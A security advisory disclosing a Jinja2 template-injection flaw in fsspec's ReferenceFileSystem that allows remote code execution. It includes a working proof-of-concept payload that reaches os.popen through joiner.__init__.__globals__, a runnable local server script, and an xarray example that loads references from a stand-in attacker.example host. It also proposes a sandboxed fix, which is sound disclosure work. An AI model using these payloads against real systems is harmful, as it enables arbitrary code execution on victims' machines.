fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
🔗 CVE IDs covered (1)
📋 Description
Summary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
| A — _process_references1._render_jinja | lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
| B — _process_templates (lambda) | lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
| C — _process_gen | lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
- A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
🎯 Affected products1
- pip/fsspec:>= 0.9.0, < 2026.6.0
🔗 References (8)
- https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc
- https://nvd.nist.gov/vuln/detail/CVE-2026-104851
- https://github.com/fsspec/filesystem_spec/pull/2029
- https://github.com/fsspec/filesystem_spec/pull/2039
- https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c
- https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8
- https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0
- https://github.com/advisories/GHSA-27vj-qcqg-25rc